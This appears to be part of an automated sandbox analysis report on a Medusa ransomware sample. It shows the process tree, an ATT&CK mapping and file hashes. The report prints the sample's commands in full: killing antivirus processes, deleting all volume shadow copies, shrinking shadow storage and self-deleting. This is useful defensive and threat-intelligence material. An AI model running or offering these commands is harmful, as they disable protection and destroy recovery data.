taskkill /F /IM tmlisten.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4796

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM PccNTMon.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4836

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM CNTAoSMgr.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4876

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Ntrtscan.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4916

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM mbamtray.exe /T
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4960

C:\Windows\SysWOW64\vssadmin.exe
vssadmin Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:5000

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:5076

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:4104

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=F: /on=F: /maxsize=401MB
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4128

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=F: /on=F: /maxsize=unbounded
2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4172

C:\Windows\SysWOW64\vssadmin.exe
vssadmin Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:4196

C:\Windows\SysWOW64\cmd.exe
cmd /c ping localhost -n 3 > nul & del C:\Users\Admin\AppData\Local\Temp\94f420e16a4eb5154076895cd8c5f677db4273d37d44b81e1d04b26e851b69fe.exe
2⤵
PID:6804

C:\Windows\SysWOW64\PING.EXE
ping localhost -n 3
3⤵
- Runs ping.exe
PID:6840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2168 -s 4004
2⤵
- Program crash
PID:7092

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5036

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

2

T1070

File Deletion

2

T1070.004

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Inhibit System Recovery

2

T1490

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\$Recycle.Bin\S-1-5-21-1298544033-3225604241-2703760938-1000\desktop.ini
Filesize
488B

MD5
0527af485ffcc9cbc9897ffbbfb19771

SHA1
c43ed9010d4a50363bfbaf7db232b2bb8ce67e4b

SHA256
92a1a19098cc3f184a019274644c564af44334a3ca7f19885b6abf86a030d56a

SHA512
38b711a9f4f595cc7888cdfa1013d5017bc02fe0399ed93f9e4959eb1562be7a2af09f53c8bff0b8954c13985026e3dac9198edfad91e9ff7fef45e5d3999855

Download Submit
F:\!!!READ_ME_MEDUSA!!!.txt
Filesize
3KB

MD5
2be343feae5834860da93b2f97e3f2f9

SHA1
754011a9158b6648f2fbfc756ae635a1475469b6

SHA256
35e2680fd2cf081f7e9ea24c3afb3ec725a004d4cc318b98a9530cce748b72de

SHA512
bedec6aed27c421e40ed63b4151b7e4f118f890ddab9e33ae692e841d1d99a2235ee414351658a6e60bb5a015c7c787ec1ff21d482781e1f487523913d6e29bd

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads